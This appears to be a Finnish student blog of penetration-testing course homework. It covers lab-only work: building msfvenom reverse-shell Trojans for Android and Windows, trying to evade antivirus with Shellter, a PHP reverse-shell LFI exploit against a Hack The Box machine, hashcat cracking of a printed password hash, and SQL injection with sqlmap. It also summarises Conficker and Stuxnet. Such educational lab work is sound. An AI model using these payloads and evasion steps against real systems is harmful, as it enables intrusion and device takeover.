Tunkeutumistestaus – h5

Tunkeutumistestaus

http://terokarvinen.com/2018/penetration-testing-course-autumn-2018

Teen harjoituksen enimmäkseen virtuaalikoneella, johon on asennettu Kali 2018-2.

h5

  1. Tee troijan hevosia, vähintään kaksi erilaista. Voit tehdä esimerkiksi saastuneen asennusohjelman, dokumentteja joissa on vihamielisiä makroja sekä älypuhelimen apsin.

Tehdään siis kaksi troijan hevosta. Aloitetaan ensiksi Androidille asennettavasta ohjelmasta.

https://resources.infosecinstitute.com/lab-hacking-an-android-device-with-msfvenom/

https://hackingvision.com/2017/02/18/hack-android-phone-metasploit/

Alunperin ajattelin tehdä tämän osion oikealla puhelimella, mutta kaikki vanhat laitteeni ovat vuosien saatossa luopuneet elämästä täysin, joten mennään Android emulaattorilla.

Tehdään asennustiedosto msfvenomilla ja payloadina käytetään meterpreteriä:

$ msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=9001 R> MALWARE-METERPRETER-ANDROID.apk

Komento olettaa, että ollaan valmiiksi käyttäjän kotihakemistossa. Ohjeen mukaan Android asennustiedostot pitää vielä allekirjoittaa, jotenka edetään ohjeen mukaan:

Tehdään allekirjoittamista varten avain:

$ keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

-v tarkoittaa verbosea

-keystore tarkoittaa, että käytetään äsken tehtyä avainvarastoa

-alias on ilmeisesti allekirjoitettavan sovelluksen aliasnimi, pitää täsmätä myöhemmässä kohdassa olevan aliaksen kanssa

-keyalg on määrittelee algoritmin

-keysize sen koon

-validity määrittelee ajan, kuinka kauan allekirjoitus on voimassa

Generointi kysyy tämän jälkeen nimeä ja organisaation nimeä. En ole varma ovatko nämä tärkeitä, mutta laitoin ohjeen mukaan itselleni kuvitteellisen nimen, organisaatioksi Google ja kaupungiksi Helsinki. Lisäksi country code on EU.

Kun avain on tehty, allekirjoitetaan sovellus:

$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore MALWARE-METERPRETER-ANDROID.apk alias_name

Jonka jälkeen:

$ jarsigner --verify -verbose -certs MALWARE-METERPRETER-ANDROID.apk

Komennon ajaminen heittää muutamia virheitä sertifikaattien ketjuista ilmeisesti, mutta katsotaan josko se toimisi silti laitteella.

Laitetaan seuraavaksi pystyyn emuloitu Android.

https://code.google.com/archive/p/android-x86/downloads

https://www.howtogeek.com/164570/how-to-install-android-in-virtualbox/

Linkistä löytyy Android 4.3 .iso tiedosto. Lisätessä kone VirtualBoxiin, asetuksiksi täytyy laittaa seuraavat:

Muistin määrän on oltava enintään 2048 MB, koska käytämme 32-bittistä Androidia. Muut asetukset menevät vakioina, kovalevyksi VDI ja alkukooksi laitoin 8 GB.

Kun kone käynnistyy, osoita sille Androidin .iso tiedosto. Kun asennusvalikko aukeaa, otetaan Install.

Tämän jälkeen Create/Modify partitions.

Luodaan uusi partition valitsemalla New, primary ja kovalevyn koko, tässä noin 8,500 MB, ja merkataan se boottaavaksi, Bootable. Lopuksi Write ja Yes. Kun tämä on valmis, otetaan Exit ja valikosta sda1 Linux VBOX HARDDISK. Ohje neuvoo ottamaan levyn tiedostosysteemiksi ext4, mutta meillä on ilmeisesti liian vanha Android siihen, joten otetaan ext3. Kone kysyy asennuksen päällekirjoittamisesta ja GRUBin asentamisesta, vastataan kyllä.

Lopuksi vielä Run Android-x86, ja viimeinkin meillä on emuloitu Android pystyssä.

 

Tiedoston saaminen emuloidulle Androidille koitui suureksi ongelmaksi. En saanut jaettuja kansioita millään toimimaan, luultavasti koska VirtualBoxin Guest Additioneja ei saanut Androidille asennettua. Yritin saada tiedostoa siirretty uploadaamalla sen omaan palvelimeen hetkeksi, mutta vanhan androidin selaimet eivät tainneet osata muodostaa https yhteyttä, joka tapauksessa sivuille ei vain päässyt. Sähköpostin kautta Android ei osannut tehdä .apk liitteelle yhtään mitään. Lisäksi selaimet tuppasivat kaatumaan jatkuvasti joten joudun valitettavasti toistaiseksi hylkäämään tämän idean. Yritän vielä uudempaa Androidia 7.1 täältä:

https://osdn.net/projects/android-x86/downloads/67834/android-x86-7.1-r2.iso/

En kuitenkaan saanut tätäkään toimimaan. Palaan tähän myöhemmin.

 

Pari tuntia myöhemmin löysin vielä yhden vanhan laitteen, jossa on Android 4.1.

Tällä pääsin käsiksi Dropboxiin, josta latasin tiedoston. Se asentui ongelmitta, kun asetuksista salli tuntemattomat lähteet. Jokin asetuksissa on pielessä, koska en saanut shelliä. Mahdollisesti VirtualBoxin portforwardauksessa jokin mättää, kun tabletin pitäisi yhdistää natattuun kaliin.

Laitoin Kalin ”Bridged Adapter” tilaan, jotta se näkyy sisäverkossa omana laitteena. Tämän jälkeen tein .apk paketin uudestaan siten, että asetin LHOST osoitteen Kalin paikalliseksi osoitteeksi. Yritin aloittaa kuuntelun metasploitin kautta näin:

> use exploit/multi/handler
> set payload android/meterpreter/reverse_tcp
> set LHOST paikallinen.ip
> set LPORT 9001
> exploit

Tämä avaa kuuntelusession. Mitään yhteyttä ei näy sovelluksen asennuksesta huolimatta.

Testinä avaan reitittimestä portin 9001 tälle Kalille ja Metasploit saikin heti Meterpreter sessiosta kiinni! Olemme siis sisällä. Roottia varten pitäisi tehdä jotain kikkoja.

 

Hypätään Windows koneen tartuttamiseen samalla tavalla.

https://resources.infosecinstitute.com/how-to-attack-windows-10-machine-with-metasploit-on-kali-linux/

Edetään ohjeen mukaan, ja yritetään avata virtuaaliseen Windowsiin meterpreter sessio.

Latasin virtuaalikoneen täältä:

https://developer.microsoft.com/fi-fi/windows/downloads/virtual-machines

Valitsin Windows 10 Enterprisen VirtualBoxille.

Tehdään asennustiedosto samaan tapaan kuin aiemminkin:

$ msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows -f exe LHOST=192.168.10.52 LPORT=9001 -o superhack32.exe

Katsotaan toimiiko, jos tämän suorittaa nyt. Siirrän tiedoston samaan tapaan Dropboxin kautta. Yllätyksekseni huomasin, että Dropbox skannaakin tiedostoja itse, koska tiedosto poistuu itsestään ilman ilmoituksia. Zipattuna saan kuitenkin ladattua sen. Tallennusvaiheessa Windows huomaa sen olevan virus, ja poistaa sen. Eli tiedosto pitää salata jotenkin. Shikata_ga_nai jää Defenderiin kiinni jopa 30 iteraation jälkeen, joten se ei selkeästi ole vaihtoehto. Kokeillaan Shellteriä.

https://www.helloitsliam.com/2018/04/25/webinar-series-update-evading-anti-virus/

Ohjelma ladataan .exe tiedostona, eli ohjelmaa varten pitää asentaa 32-bittinen wine:

$ dpkg --add-architecture i386
$ sudo apt-get update
$ sudo apt-get install wine32

Lopuksi oppaan mukaan haetaan tiedosto minkä sisään haittaohjelma laitetaan, Notepad++.

Shellter käynnistetään sen omasta kansiosta komennolla shellter.

Ohjelma kysyy Stealth modesta, otetaan Y ja valitaan haluttu payload, kun ohjelma sitä kysyy, meterpreter ja reverse_tcp.

> L
> 1

Tämäkään ei tosin valitettavasti pääse Defenderistä ohi. Luultavasti homma menisi siis käsin vääntämiseksi, eli tyydymme sammuttamaan Defenderin. Kokeillaan saastunutta Notepad++ tiedostoa uudelleen.

Nyt pääsemme varoituksista huolimatta ajamaan tiedoston. Asennustiedosto heittää ihan ihme virhettä, mutta metasploitissa vilahtaa meterpreter sessio, joka kuitenkin sulkeutuu heti kun virheviesti suljetaan.

Uudelleen yrittämisen jälkeen tulee sama virhe, mutta kun pidän virheviestiä auki, sessio pysyy auki, joten sisällä ollaan…

  1. Mitä uusia keksintöjä Confickerissa esiteltiin? Lue jokin artikkeli Confickerista. ‘conficker analysis’ on hyvä hakusana. Kiinnitä huomiosi C2:n.

Conficker käytti versiossa C yhteyksiinsä peer-to-peer yhteyksiä, joiden kautta se pystyi etänä ajamaan koodia missä vain saastuneessa koneessa.

Conficker.C yrittää myös tarkistaa, että sijaitseeko se virtuaalikoneen sisällä.

Conficker.C yrittää estää ohjelman poistamista lukitsemalla sen käyttämän DLL tiedoston, mikä estää skannauksen ja poistamisen. Samoin se poistaa rekisterin kautta Administratorin oikeudet tiedostoon. Myös Windowsin turvallisuuteen ja päivityksiin liittyvät palvelut kytketään pois päältä. Ohjelma jopa pyrkii estämään pääsyn  erilaisille virustorjuntaa tarjoaville nettisivuille, jotta käyttäjän on vaikeampi päästä käsiksi poistotyökaluihin. Tämän lisäksi Conficker tappaa prosesseja, jotka liittyy torjuntaohjelmistojen diagnostiikkaan tai poistotyökaluihin.

Tämän lisäksi vikasietotilaan käynnistyminen estetään.

Mato oli myös ensimmäisiä, jotka obfuskoi omaa toimintaansa. DLL tiedoston sisältö on kryptattuna, kunnes se lataa itsensä muistiin. Dekryptio on mukautuvaa koodia ja sisältää muutenkin paljon epäselviä viittauksia. Osa madon koodista on dekryptoinnin jälkeekin täynnä ”spagettia” ja vaikeasti luettavaa. Sisältö on salattu ilmeisesti sen takia, että on pyritty pitämään salassa peer-to-peer ominaisuuden implementointi.

Virtuaalikoneen testaus tehdään jotenkin Sleep APIn kautta, jos Conficker päättelee olevansa virtuaalisoidussa koneessa, se tekee lisää testejä, joissa yleisesti tiedetään, että virtualisoitu kone vastaa eri tavalla, ja lähettää tämän tiedon eteenpäin peer-to-peer verkon kautta.

Kun Conficker.C on aktiivisena koneella, se pyrkii paikkaamaan saman haavoittuvuuden, kuin minkä kautta se itse pääsi sisään.

Confickerin selkeästi ”suurimpana” ominaisuutena on peer-to-peer verkko. Käyttöönotto suoritetaan vasta, kun kaikki muut tarkistukset ja tartuttamiset on tehty. 5-35 minuutin jälkeen se pyrkii käynnistämään verkon luonnin. Tämän jälkeen mato odottaa taas 30-90 minuuttia, ennen kuin verkossa olevat koneet ottavat takaisin yhteyden, ”callhome procedure”. Verkkoa varten tehdään C:/Windows/Temp/ kansion alle uuden kansion, jota se käyttää jakaessaan tiedostoja.

Jaetut tiedostot ovat allekirjoitettuja. Kansiossa pidetään enintään 64 tiedostoa kerrallaan, jos tämä ylittyy, poistetaan tiedostot joiden käytöstä on eniten aikaa.

Conficker.C yrittää ottaa yhteyden kotiin kerran päivässä. Vaihtoehtoisia domaineja on 50 000 per päivä, joista se valitsee satunnaisesti 500. Jokaista koitetaan yhden kerran päivässä 10-50 sekunnin välein. C variantti toimii hitaammin kuin B variantti, minkä voisi luulla parantavan madon huomaamattomuutta.

  1. Etsi Krebsin tai Schneierin blogeista ideoita pentestiin. Näissä blogeissa on paljon turvallisuuteen liittyviä aiheita, tee erityisesti huomioita tunkeutumistestaukseen liittyen.

https://www.schneier.com/essays/archives/2018/01/the_new_way_your_com.html

Bruce Schneierin essee puhuu vuoden alussa paljastuneista Spectre ja Meltdown haavoittuvuuksista. Molemmat haavoittuvuudet liittyvät siihen, miten prosessorit pyrkivät ennakoimaan tulevia tehtäviä. Essee kertoo, että siinä missä Meltdown voidaan korjata asentamalla päivitys, Spectre sen sijaan on mahdoton korjata muuttamatta prosessorien rakennetta.

Uutena mahdollisuutena hyökkääjille tulee siis laitteiden fyysiset viat. Spectre korjaantuu vasta, kun haavoittuvat laitteet vaihdetaan uusiin. Tämä toisaalta nostaa hyökkäyksien taitokynnystä, mutta joku tämänkin ongelman ratkaisee. Näiden kahden osalta on toistaiseksi ollut onni, että hyökkäys on huomattavasti helpompaa tehdä, kun koneeseen on paikallinen pääsy. Tästä huolimatta, muutamasta paikallisverkon yli tehdystä NetSpectre hyökkäyksestä on todisteita. https://gbhackers.com/netspectre/

https://blog.f-secure.com/cold-boot-attacks/

Tämän ongelman olen oikeastaan tiennyt aiemminkin, mutta F-Securelta on äskettäin tullut kunnollinen postaus asiasta.

Eli ideana on siis, että tietokoneen salaus saadaan purettua, jos tietokone sammuu jotenkin huonosti, kuten esimerkiksi lepotilassa. Tietokoneen sammuessa, tietokoneen muistista voidaan hyvin lyhyen ajan lukea siellä olevaa tietoa. Tätä varten on olemassa erilaisia ohjelmia, joita ajetaan muistitikulta. Hyökkäystä vastaan on kehitetty joitakin tapoja, kuten RAM muistin ylikirjoitus aina, kun tietokone käynnistyy.

Nyt uutena asiana tämänkin pystyy ohittamaan juotostöillä. Eli jos yritykseltä katoaa työläppäri, yrityksen täytyy lähes satavarmasti olettaa, että tietokone saadaan auki ja sisältö esiin.

Haittana on, että tämä tietenkin vaatii fyysistä pääsyä ja aikaa, joten tätä ei voi oikein hyödyntää ilman, että kone on saatu ulos salaiseen paikkaan.

  1. Opettele ja testaa jokin uusi Pentesting-tekniikka kirjasta tai videosta, jonka löydät Safarionlinesta.

https://www.safaribooksonline.com/library/view/penetration-testing-and/1587052083/ch09.html

Kirjassa on kappale salasanoista, hashaamisesta ja niiden murtamisesta. Tästä tulikin mieleen, että aikaisemmalta tunnilta jäi kesken hashcattiin tutustuminen, ja jurpo5 käyttäjän salasana jäi murtamatta.

Siispä yritetään murtaa salasana hashcatilla. Käytetään aikaisemmalla tunnilla talteen otettua jurpo5 käyttäjän hashia:

$6$xIgqlO2H$KO96dDS5ovHSkp2p2AB2QbjFYU2B27Te23pSGa/PF6uMiasB//2UMP27Ih4tuizE8J3nsbYjjNc8aV1nPVdKd/

Selasin Roopen kanssa listoja läpi ja lisäilimme sinne muutamia sanoja ja variaatioita mitä tuli mieleen.

Hashcat ajetaan komennolla

$ hashcat -m 1800 -o haxd.txt hash.txt finnish-unknown.txt

-m on salausmenetelmä, 1800 vastaa Linuxin käyttämää.

-o output tiedoston nimi

hash.txt sijaitsee testikoneelta jurpo5 käyttäjän hashin

finnish-unknown.txt on netistä haettu lista johon lisätty muutamia.

Hetken kuluttua paljastui, että salasana oli autotalli.

Posted in Uncategorised | Leave a comment

Tunkeutumistestaus – h4

Tunkeutumistestaus

http://terokarvinen.com/2018/penetration-testing-course-autumn-2018

Teen virtuaalikoneella, johon on asennettu Kali 2018-2.

Harjoitusympäristönä käytetään Hacktheboxin verkkoa.

https://www.hackthebox.eu/home/rules

h4

1. Korkkaa Poison. Jos et pääse root shelliin asti, kuvaile, mihin pääsit ja mitä johtolankoja jäi tutkimatta.

Koska kyse on Hacktheboxin ”eläköityneestä” koneesta, ei teksti ole salasanan takana.

Aikaisemmalla tunnilla saatiin kaivettua toimiva käyttäjätunnus ja salasana, Charix – Charix!2#4%6&8(0.

Nämä saatiin kaivettua 10.10.10.84 sivun php testauksesta pwdbackup.txt tiedostosta. Salattu merkkijono pitää purkaa 13 kertaa base64 salauksella. Käyttäjänimen löysimme puhtaasti arvailemalla, mutta jälkikäteen selvisi, että sen olisi saanut myös php testauksen kautta, /etc/passwd.

Tutkitaan, josko koneelta löytyisi jotain mielenkiintoista, mitä kautta pääsisimme kiinni roottiin.

/bin kansiosta löytyy muutama erikoinen ohjelma, test ja [. Tekstieditorilla avaaminen ei paljasta lisää tietoja. Test komento ei tunnu tekevän mitään, mutta se ei myöskään heitä virheitä. Luultavasti siis test vaatii jotain muuta toimiakseen. Joka tapauksessa, en näytä saavan siitä mitään irti ainakaan tässä vaiheessa. [ sen puolestaan  onkin mielenkiintoisempi, kun annetaan komentokehotteeseen komento

% [ , joka tulostaa tekstin [: missing ]. Tässä vaiheessa tuli mieleen kokeilla, mitä [ manuaali sanoo. Pettymyksekseni manuaalista selviää, että molemmat test ja [ ovat jonkinlaisia arvojen testaus ohjelmia, mutta en ole tästä lainkaan varma. Joka tapauksessa, en todennäköisesti tee näillä ohjelmilla mitään.

Topilla kun selataan prosesseja, listasta löytyy muutama prosessi, jotka eivät ole minulle tuttuja, Xvnc, csh ja twm. Näistä Xvnc ja twm pyöri rootin kautta. Xvnc lienee jokin versio VNC etätyöpöytäohjelmasta. Googlauksen perusteella myös twm työpöytään, joten on ilmeistä, että koneella on graafinen työpöytä. Laitetaan talteen myöhempää varten.

/etc kansiosta löytyy kiinnostavana tiedostona pwd.db ja X11. X11 vahvistaa aiempaa luuloa, että koneella on käytössä graafinen työpöytä.

Pwd.db paljastaa tekstieditorin kautta satunnaisia kiinnostavia sanoja, jotka saattaisi ehkä olla salasanoja, otetaan talteen seuraavat: root, toor, Bourne-again, Superuser.

Charixin kotikansiosta löytyy Secret.zip tiedosto, jonka kopioin virtuaalikoneelle ja purettuani avasin nanolla, ruutuun ilmestyy vain pari kummallista merkkiä, mutta se vaikuttaa muuten tyhjältä. En osaa sanoa tässä vaiheessa mikä merkitys tiedostolla on.

Seuraavaksi katsotaan, josko pääsemme katsomaan portit läpi sisältäpäin. Joudun konsultoimaan apua FreeBSDn kohdalla:

https://www.cyberciti.biz/tips/freebsd-lists-open-internet-unix-domain-sockets.html

Eli komennolla

% sockstat -4 -l

saamme näkyviin avoimet IPv4 socketit. Eli näemme, mitkä prosessit lähettävät ja vastaanottavat yhteyksiä ulkopuolelta.

Kiinnostavilta näyttävät rootin Xvnc yhteydet porteista 5901 ja 5801. Vnc sessio portissa 5901 tarkoittaa sitä, että siihen voisi luultavasti kuka vain yhdistää ja päästä käsiksi rootin konsoliin.

Xvnc vaikuttaa tässä vaiheessa hyvin epäilyttävältä, sillä olen joskus kuullut paljon juttua siitä, miten huonosti Vnc toimii ainakin Windowsilla tietoturvansa puolesta. Kalista löytyy valmiiksi xtightvncviewer, mutta kaikki yhteydet jäävät palomuuriin kiinni. Tässä vaiheessa Roope vinkkasi SSH tunnelingista, jota lähdin selvittelemään.

https://roopelinux.wordpress.com/

https://www.cl.cam.ac.uk/research/dtg/attarchive/vnc/sshvnc.html

https://community.time4vps.eu/discussion/120/how-to-connect-to-vnc-server-ussing-ssh-tunnel

Komennolla

$ ssh -L 5902:localhost:5902 -N -f -l charix 10.10.10.84

-N määrittelee, että ei tehdä mitään muuta kuin forwardataan portti

-l täsmentää, että kirjaudutaan charix käyttäjällä

-f määrittelee, että ssh menee taustalle heti yhteyden muodostamisen jälkeen. Tällöin samasta ikkunasta voidaan jatkaa tekemisiä.

Luodaan tunneli Vnclle, jota yhdistämisen jälkeen kuunnellaan:

$ vncviewer localhost:5902

Näin saimme charixin työpöydän näkyviin.

Roope vinkkasi, että oli itse selvittänyt ongelman selaamalla VNC:n manuaaleja, jotenka:

https://www.freebsd.org/cgi/man.cgi?query=Xvnc&sektion=1&apropos=0&manpath=FreeBSD+7.2-RELEASE+and+Ports

https://www.freebsd.org/cgi/man.cgi?query=vncviewer&sektion=1&apropos=0&manpath=FreeBSD+7.2-RELEASE+and+Ports

https://www.freebsd.org/cgi/man.cgi?query=Xvnc&sektion=1&apropos=0&manpath=FreeBSD+7.2-RELEASE+and+Ports

VNC manuaaleja selattuani luulen, että charixin kotikansiossa oleva secret.zip sisältää vnc avaimen, millä päästään yhdistämään rootin valmiiksi auki olevaan istuntoon portissa 5901.

Siispä avataan SSH tunneli 10.10.10.84 porttiin 5901, jossa rootilla on VNC server auki:

$ ssh -L 5904:localhost:5901 -N -f -l charix 10.10.10.84

Kun portti on avattu, yhdistetään käyttämällä secret avainta:

$ vncviewer -passwd secret localhost:5904

ja sisällä ollaan roottina.

Ongelmia tuotti selkeästi tuo SSH tunnelien käyttö. Kun oivalsi niiden toiminnan, homma selkeytyi huomattavasti. Tiedonkeruussa paljastui jonkun verran kiinnostavia asioita, kuten ohjelmat ja test, joista ei kuitenkaan ilmeisesti ole apua tässä harjoituksessa. Lisäksi pwd.db jäi tutkimatta tarkemmin. Nyt jälkikäteen SQLite ei osannut sitä avata, joten ensiksi pitäisi selvittää, minkälainen tiedosto se on.

 

  1. CTF walkthrough. Katso Youtubesta jokin CTF walkthrough. Mitä opit, mitä ideoita sait?

https://www.youtube.com/watch?v=rs4zEwONzzk – HTB Poison, katsottu roottaamisen jälkeen

https://www.youtube.com/watch?v=82S8wFSypB4 – Vulnhub – Basic Pentesting 1

https://www.youtube.com/watch?v=uxx44x8ar3E – Vulnhub – Blackmarket

https://www.youtube.com/watch?v=pRcrSSiF_7w – Vulnhub – Mr. Robot

Kokeillaan PHPInfo File Inclusion exploittia skriptin kautta, hakemalla skriptin pohja täältä:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion%20-%20Path%20Traversal/phpinfolfi.py

Skriptin muokkauksia on vaikea kuvailla tarkkaan tekstinä, on huomattavasti helpompaa katsoa HTB Poison videolta n. 13-15 minuutin kohdalta, mitä videon tekijä tekee.

Payload kenttä tyhjennetään, ja lisätään siihen väliin oma payload skripti:

 /usr/share/laudanum/php/php-reverse-shell.php. 

Huom, tiedostopolun kopiointi ei riitä, koko .php tiedoston sisältö täytyy kopioida Payload kentän jättämään tyhjiöön.

Vaihdetaan videon mukaan portiksi ja ip-osoitteksi oma, mihin shell avataan.

Korjataan myös skriptin käyttämät polut videon mukaan, browse.php?file=%s, LFIREQ:

Korjataan tmp_name kaikissa kohdissa, missä valmiina =>, oikea muoto on =&gt

Ennen skriptin ajoa kuunnellaan porttia, johon shell tulee:

$ nc -lvnp 9001

Skripti ajetaan lopuksi komennolla

$ python lfi.py 10.10.10.84 80 100

jossa 80 on portti, ja 100 liittyy jotenkin nopeaan kutsujen lähettämiseen (threads).

Skripti avaa shellin www käyttäjänä, joten ihan kaikkea tästä asemasta ei pysty tekemään. Mutta sisällä ollaan kuitenkin.

Kokeillaan seuraavaksi dirsearchia, joka löytyy osoitteesta

https://github.com/maurosoria/dirsearch

Annetaan komento

$ python3 dirsearch.py -u 10.10.10.84 -e php,html,txt -t 100

Haku on aika paljon nopeampi kuin dirbusterilla, mutta luultavasti siksi, että tämä ei hae läheskään niin laajalla sanavarastolla. Ehkä tälle on omat käyttönsä ensimmäisinä työkaluina, joita sivuilla kokeillaan.

Skriptin readmesta selviää lipuista valitettavan vähän tietoa, mutta ilmeisesti -e rajaa sanakirjat.

10.10.10.84/index.php/login/ johtaa samaan osoitteeseen kuin 10.10.10.84/index.php, mutta ehkä tuonne saisi heitettyä jotain kirjautumisyrityksiä.

Lopuksi pyöräytän wpscanin omalle WordPress sivulleni

$ wpscan --url https://miikkavaltonen.com

Ohjelma  kysyi ensimmäisellä kerralla tietokannan päivittämisestä, vastasin tähän Y, kyllä.

Skanneri osasi selvittää käyttäjän ja versioita eri asioista:

En tätä harjoitusta varten viitsinyt paukutella kirjautumisyrityksiä tai jotain muuta hämärää, sen takia, että tiedän salasanan olevan niin monimutkainen, että sitä ei sanalistoilla arvata. Lisäksi en halua rikkoa blogiani.

Mainittakoon, että Digital Ocean ainakin suhtautuu oman palvelimen skannailuun ja muuhun pentestingiin suht lämpimästi. Ilmoitin asiasta asiakaspalveluun, ja vastaus oli tyyliin “Hieno homma, tässä lisää asioita mitä voit kokeilla.”.

Kaikista walkthrough videoista vahvimpana mieleen jäi se, kuinka paljon erilaisia työkaluja ja tapoja on. Poisonin walkthrough oli erittäin mielenkiintoinen, koska siinä päästiin www käyttäjällä sisään ihan eri tavalla, kuin mitä olisin osannut kuvitella. Tuntuu, että opetellessa asioita on hyvä kerätä kaikki vastaantulleet tai kerran käytetyt skriptit talteen,  jotta työkalupakki kasvaa hiljalleen jatkuvasti.

Voin kuvitella, että jatkossa eri skriptejä ja työkaluja joutuu muuttamaan ja vähän viilailemaan, jotta ne saadaan toimimaan oikein.

Se mitä tästä jäi käteen, on että työkaluja on vähintäänkin yhtä paljon kun tekijöitä. Tällaiset walkthrought ovat hyviä ihan vain senkin takia, että niistä näkee uusia työkaluja ja käyttötapoja.

 

  1. Stuxnet, Lue artikkeli Stuxnetista, esim. Symantec tai Langer. Voit hakea ‘stuxnet analysis’. 1) Miten Stuxnet murtautui koneille? Yleisluontoinen vastaus (mikä hyökkäys millekin käyttöjärjestelmälle mihin komponenttiin) riittää, koska nämä hyökkäykset ovat jo vanhentuneet. 2) Miten ohjaus (command and control, C2) toimi? 3) Miten Stuxnet ylitti ilmaraon (air gap)?

https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf

Alkuperäinen Stuxnet pääsi kosketuksiin ensimmäiseen verkkoon luultavasti USB-tikun tai agentin kautta. Ensimmäisen injektion kohde riippui siitä, mikä virustorjuntaohjelmisto koneessa oli asennettuna. Lähes jokaisessa tapauksessa se oli Lsass.exe, mutta Kaspersky 8-9 ja Trend PC Cillinin kohdalla Stuxnet injektoi itsensä suoraan virustorjuntaohjelmiston prosessiin.

Stuxnet hankkii pääkäyttäjän oikeudet Win32k.sys prosessin kautta, MSI10-073. Kun oikeudet on saatu, Stuxnet jättää oman ajurin tietokoneelle, jotta Stuxnet aktivoituu jo käynnistyessä.

Stuxnetin ohjaus toimi kahden palvelimen kautta, www.mypremierfutbol.com ja www.todaysfutbol.com.

Stuxnet pystyy vaihtamaan ohjauspalvelimia lennosta, mutta näin ei ole viimeisten tietojen mukaan tapahtunut missään vaiheessa. Ohjelma lähettää palvelimille tietoa käyttöjärjestelmästä, payload osan koon ilmeisesti sen takia, että voidaan varmistua ohjelman leviämisestä, tietokoneen ja toimialueen nimen, tietokoneen ip-osoitteet ja jotain konfiguraatiodataa Stuxnettiin liittyen.

Ohjelma pyrkii ohittamaan palomuurien sääntöjä muodostamalla yksinkertaisia ASCII linkkejä, joihin tietoja lähetetään.

Stuxnet levisi eteenpäi suljettuun verkkoon todennäköisesti USB-tikun kautta. Ohjelman toiminta leviämisen jälkeen on lähes täysin itsenäistä, joten muuta vaihtoehtoa ei oikein ole.

 

Posted in Uncategorised | Leave a comment

Protected: Tunkeutumistestaus – h3

This content is password protected. To view it please enter your password below:

Posted in Uncategorised | Enter your password to view comments.

Protected: Tunkeutumistestaus – h2

This content is password protected. To view it please enter your password below:

Posted in Uncategorised | Enter your password to view comments.

Tunkeutumistestaus – h1

Tunkeutumistestaus

http://terokarvinen.com/2018/penetration-testing-course-autumn-2018

http://www.hackingarticles.in/hack-metasploitable-3-using-mysql-service-exploitation/

https://resources.infosecinstitute.com/learning-pentesting-metasploitable3-part-2/#article

https://linux.die.net/man/1/nmap

https://www.thomaslaurenson.com/blog/2018/07/08/metasploitable3-pentesting-the-ubuntu-linux-version-part1/

 

Teen harjoituksen kannettavalla läppärillä, johon on asennettu Xubuntu 18.04.1

Harjoitusympäristö on luotu käyttäen Tero Karvisen ohjeita vagrantilla:

http://terokarvinen.com/2018/install-metasploitable-3-vulnerable-target-computer

 

h1

  1. Tehtävänä on kokeilla jotakin OWASP 10 hyökkäystä harjoituskoneella. Yritän ensiksi simppeliä SQL injektiota.

Alkutilanteessa haavoittuva kohde on tehty virtuaalisena ja löytyy osoitteesta localhost:8080.

Localhost:8080 osoitteesta löytyy phpmyadmin hallintapaneeli ja payroll_app.php, joten on ilmiselvää, että taustalla pyörii väkisinkin SQL palvelu.

Aloitetaan kokeilemalla eri kirjautumistunnuksia payroll_appiin. Tunnilla opittu ’ OR 1=1 ja sen variaatiot tuntuvat rikkovan kyselyn, sivu palauttaa vain tyhjän ruudun. Salasana kenttä näyttää toimivan tyhjänä, mutta testailun aikana olen kirjoitellut siihen täytetekstiä, jos kysely hajoaa sen takia.

https://www.thomaslaurenson.com/blog/2018/07/08/metasploitable3-pentesting-the-ubuntu-linux-version-part1

Lyhyen selvittelyn jälkeen selvisi, että injektio toimii, jos syötteeseen lisää # merkin loppuun. Näin sivulta saadaan ulos kaikki käyttäjät, joilla voitaisi kokeilla sisäänkirjautumista koneelle.

Periaatteessa tehtävä on tällä suoritettu. Harjoitusympäristön rakentamisessa tuli yllättävän paljon ongelmia, eri virtualisointiratkaisut eivät tuntuneet toimivan kunnolla, ja useiden tuntien jälkeen oli pakko luovuttaa. Palaan tähän tehtävään myöhemmin tutkittuani asiaa lisää. Edit: 27.8. luulen, että # toimii, koska googlailun perusteella MySQL tuntuu tulkkaavan merkin # nykyiseksi tauluksi, tai jotain sen tyylistä. Sen takia se luultavasti näyttää koko taulun.

—————————–

27.8. jatkoa

https://roopelinux.wordpress.com/2018/08/27/penetration-testing-1-owasp-10/

Keskustelin ryhmätoverin kanssa harjoituksesta, ja jaoimme hiukan vinkkejä. Olin SQL injektiossa muuten oikeassa, mutta jätin virheellisesti salasanan tyhjäksi huonoissa kohdissa, jolloin en päässyt aina sisään, vaikka olisi ”pitänyt”. Eli siis ‘ OR ” = ‘ olisi toiminut, mutta se pitää syöttää molempiin kenttiin. Muuten kysely hajoaa.

Roope on loistavasti saanut omat tehtävänsä tehtyä keskustelumme jälkeen, harjoituksen vuoksi toistan osan samoista toimista. Käytän apuna pääasiassa Roopen käyttämää opasta: https://docs.google.com/document/d/1SDbTN4BDqE5W_mpANK8v4EgZndK9tgEeTy7A_k7MQr4/edit#heading=h.3yemd5z953oq

Nyt kun olemme saaneet käyttäjistä taulun injektion kautta, kokeillaan mitä muuta voimme tehdä SQLMapilla. Koska teen harjoituksen Xubuntulla, täytyy SQLMap asentaa ensin.

$ sudo apt-get install sqlmap

Käytetään SQLMappia ohjeiden mukaisesti:

$ sqlmap -u http://xx.xx.xx.xx:8080/payroll_app.php --data=”user=admin&password=admin&s=OK”

xx.xx.xx.xx on tietokoneen, jolla vagrant kone sijaitsee,  paikallinen osoite.

Pätkän ja oikeastaan sqlmapin idea on ilmeisesti, että se hakee haavoittuvuuksia kokeilemalla jonkin stringin syöttämistä.

SQLMap löytää haavoittuvuksia. Ohjelma kysyy, että testataanko muitakin haavoittuvuuksia ’user’ parametrin löytymisen jälkeen. Vastasin näihin muutaman kerran Y.

Samoin parametri ’password’ on haavoittuva.

Injektio on helpompi toteuttaa SQLMap Shellin kautta, joten poistutaan SQLMapista (CTRL + C) ja mukautetaan aiempaa komentoa:

$ sqlmap -u http://xx.xx.xx.xx:8080/payroll_app.php --data=”user=admin&password=admin&s=OK” --sqlmap-shell

